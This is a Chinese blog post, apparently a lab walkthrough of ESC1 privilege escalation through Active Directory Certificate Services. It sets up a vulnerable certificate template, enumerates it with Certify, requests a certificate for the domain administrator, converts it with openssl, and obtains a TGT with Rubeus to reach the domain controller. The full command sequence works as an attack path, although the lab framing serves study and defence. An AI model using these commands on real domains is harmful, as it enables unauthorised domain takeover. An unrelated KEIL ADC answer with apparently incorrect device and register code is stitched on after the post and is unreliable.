域渗透笔记-ADCS 域提权-ESC1

简介:

AD CS(Active Directory 证书服务)中的企业CA使用证书模板定义设置颁发证书,这些证书模板是注册策略和预定义证书设置的集合,并包含诸如此证书的有效期是多长?、证书的用途是什么?、主题是如何指定的?、谁可以申请证书?,以及无数其他设置。证书模板有一组特定的设置,这使得它们非常容易受到攻击。

ESC1原理:

当证书模板允许指定subjectAltName时,就可以为另一个用户请求证书。如果EKU指定客户端身份验证或ANY,则可以将其用于特权升级。

ESC1利用条件:

ESC1要成功利用要满足三个点
1、需要有权限去获取证书
2、能够登记为客户端身份验证或智能卡登录等
3、CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT开启

ESC1漏洞环境配置:

首先进入证书颁发机构

选中证书模板,右键管理

接着创建一个具有以上3个利用条件的证书模板
选中工作站身份验证

右键复制模板
模板命名为ESC1

扩展中的应用程序策略中加入客户端身份认证

接着在安全中加入注册权限
这里可以直接给Authenticated Users组或者domain users组赋予注册权限

使用者名称中选择在请求中提供

保存后,我们在证书颁发机构证书模板上右键颁发

这样,我们得ESC1漏洞环境就搭建完成了

ESC1漏洞复现:

这里用来检查证书配置需要用到一款工具Certify
https://github.com/GhostPack/Certify
编译完成后一般是一个exe和一个dll

把他传到域内机器上
执行命令

Certify.exe find /vulnerable

C:\Users\zhangsan\Desktop>Certify.exe find /vulnerable

   _____          _   _  __
  / ____|        | | (_)/ _|
 | |     ___ _ __| |_ _| |_ _   _
 | |    / _ \ '__| __| |  _| | | |
 | |___|  __/ |  | |_| | | | |_| |
  \_____\___|_|   \__|_|_|  \__, |
                             __/ |
                            |___./
  v1.1.0

[*] Action: Find certificate templates
[*] Using the search base 'CN=Configuration,DC=test,DC=com'

[*] Listing info about the Enterprise CA 'test-CA-CA'

    Enterprise CA Name            : test-CA-CA
    DNS Hostname                  : CA.test.com
    FullName                      : CA.test.com\test-CA-CA
    Flags                         : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_AD
VANCED
    Cert SubjectName              : CN=test-CA-CA, DC=test, DC=com
    Cert Thumbprint               : D4794268C1A11EB6877159494DBEDA10B660F003
    Cert Serial                   : 23DF32EB2D08A38247F914CC783027BF
    Cert Start Date               : 2023/2/1 10:03:05
    Cert End Date                 : 2028/2/1 10:13:04
    Cert Chain                    : CN=test-CA-CA,DC=test,DC=com
    UserSpecifiedSAN              : Disabled
    CA Permissions                :
      Owner: BUILTIN\Administrators        S-1-5-32-544

      Access Rights                                     Principal

      Allow  Enroll                                     NT AUTHORITY\Authenticat
ed UsersS-1-5-11
      Allow  ManageCA, ManageCertificates               BUILTIN\Administrators
      S-1-5-32-544
      Allow  ManageCA, ManageCertificates               TEST\Domain Admins
      S-1-5-21-295968744-3078858767-2203154064-512
      Allow  ManageCA, ManageCertificates               TEST\Enterprise Admins
      S-1-5-21-295968744-3078858767-2203154064-519
    Enrollment Agent Restrictions : None

[!] Vulnerable Certificates Templates :

    CA Name                               : CA.test.com\test-CA-CA
    Template Name                         : ESC1
    Schema Version                        : 2
    Validity Period                       : 1 year
    Renewal Period                        : 6 weeks
    msPKI-Certificate-Name-Flag          : ENROLLEE_SUPPLIES_SUBJECT
    mspki-enrollment-flag                 : NONE
    Authorized Signatures Required        : 0
    pkiextendedkeyusage                   : 客户端身份验证
    mspki-certificate-application-policy  : 客户端身份验证
    Permissions
      Enrollment Permissions
        Enrollment Rights           : NT AUTHORITY\Authenticated UsersS-1-5-11
                                      TEST\Domain Admins            S-1-5-21-295
968744-3078858767-2203154064-512
                                      TEST\Domain Computers         S-1-5-21-295
968744-3078858767-2203154064-515
                                      TEST\Enterprise Admins        S-1-5-21-295
968744-3078858767-2203154064-519
      Object Control Permissions
        Owner                       : TEST\Administrator            S-1-5-21-295
968744-3078858767-2203154064-500
        WriteOwner Principals       : TEST\Administrator            S-1-5-21-295
968744-3078858767-2203154064-500
                                      TEST\Domain Admins            S-1-5-21-295
968744-3078858767-2203154064-512
                                      TEST\Enterprise Admins        S-1-5-21-295
968744-3078858767-2203154064-519
        WriteDacl Principals        : TEST\Administrator            S-1-5-21-295
968744-3078858767-2203154064-500
                                      TEST\Domain Admins            S-1-5-21-295
968744-3078858767-2203154064-512
                                      TEST\Enterprise Admins        S-1-5-21-295
968744-3078858767-2203154064-519
        WriteProperty Principals    : TEST\Administrator            S-1-5-21-295
968744-3078858767-2203154064-500
                                      TEST\Domain Admins            S-1-5-21-295
968744-3078858767-2203154064-512
                                      TEST\Enterprise Admins        S-1-5-21-295
968744-3078858767-2203154064-519



Certify completed in 00:00:00.6992794

主要看这儿

三点全部满足,开始尝试利用
给域管administrator申请一个证书

Certify.exe request /ca:CA.test.com\test-CA-CA /template:ESC1 /altname:administrator

但是编译出来的exe有点问题

重新找了个项目
https://github.com/Hagrid29/CertifyKit
原本以为是编译的有问题,最后发现是2012虚拟机系统有问题–
最后换了一台2016机器成功了

CertifyKit.exe request /ca:CA.test.com\test-CA-CA /template:ESC1 /altname:administrator

接着把pem格式的证书复制保存txt中,改名cert.pem
然后复制进kali中
接着转换格式

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

接着把pfx格式的证书重新拉进攻击机上,同时使用Rubeus工具获取tgt
https://github.com/GhostPack/Rubeus

在获取tgt之前,我们尝试访问域控上的文件,发现无法访问

使用Rubeus获取tgt(接下来重新搭建了一个相同的域环境重新做的–之前搭建的域环境系统镜像有问题)

Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /dc:192.168.52.131 /ptt

这里遇到了一个报错
KRB-ERROR (62) : KDC_ERR_CLIENT_NOT_TRUSTED

解决方法:
本地管理员权限,打开组策略gpedit.msc,计算机配置\Windows 设置\安全设置\本地策略\安全选项,找到配置 Kerberos 允许的加密类型,将下面全部勾选即可

然后我重启完了还是不行–
然后等了一会又自己好了–就很无语
然后查询了下报错

最快的解决方法:

看了下别人的回答,应该是独立的证书服务器颁发的证书没受到域控制器信任

但是我这莫名其妙就好了。。。到底啥情况我也说不清–
反正是成功获取到了tgt

这时候已经可以访问域控的文件了

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
好的,以下是KEIL生成瑞萨EK-RA2A1单片机的ADC初始化程序的步骤: 1. 打开KEIL软件,依次选择Project -> New MicroVision Project,输入项目名称; 2. 在弹出的对话框中选择设备型号为“R5F10PBG”(瑞萨EK-RA2A1单片机),确认选择; 3. 在Project菜单中选择Options for Target,选择Device,确保芯片型号正确; 4. 在Project菜单中选择Manage,选择Device Database,找到R5F10PBG芯片,双击打开,选择ADC模块,重新定义ADC资源; 5. 在Project菜单中选择C/C++ Source Group,右键选择Add New Item,选择C File,添加一个名为“adc.c”的文件; 6. 在adc.c中加入初始化代码,例如: ``` #include "ra2a1.h" void adc_init(void) { volatile uint32_t i; // Enable ADC clock SYSTEM.PRCR.WORD = 0xA50B; MSTP(ADC) = 0; // ADC module stop state release // Set ADCS (sampling time) and CHSEL (input channel) ADC.ADCSR.BIT.ADCS = 0b1111; // Sampling time = 239.5 cycles ADC.ADCSR.BIT.CHSEL = 0; // Select AN000 // Start self-diagnosis ADC.ADCSR.BIT.ADST = 1; while (ADC.ADCSR.BIT.ADST) { // Wait until self-diagnosis is completed } // Initialize the AD converter ADC.ADCSR.WORD = 0x2C40; for (i = 0; i < 16; i++) { ADC.ADCSR.WORD |= 0x8000; // Wait 8us settling time } ADC.ADCSR.WORD |= 0x2000; // Start A/D conversion // Wait for A/D conversion to end while (!(ADC.ADCSR.WORD & 0x0008)) { // Wait until A/D conversion is completed } // Clear the A/D conversion complete flag ADC.ADCSR.WORD &= ~0x0008; } ``` 7. 在main函数中调用adc_init()函数即可。 希望这个答案对你有所帮助。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值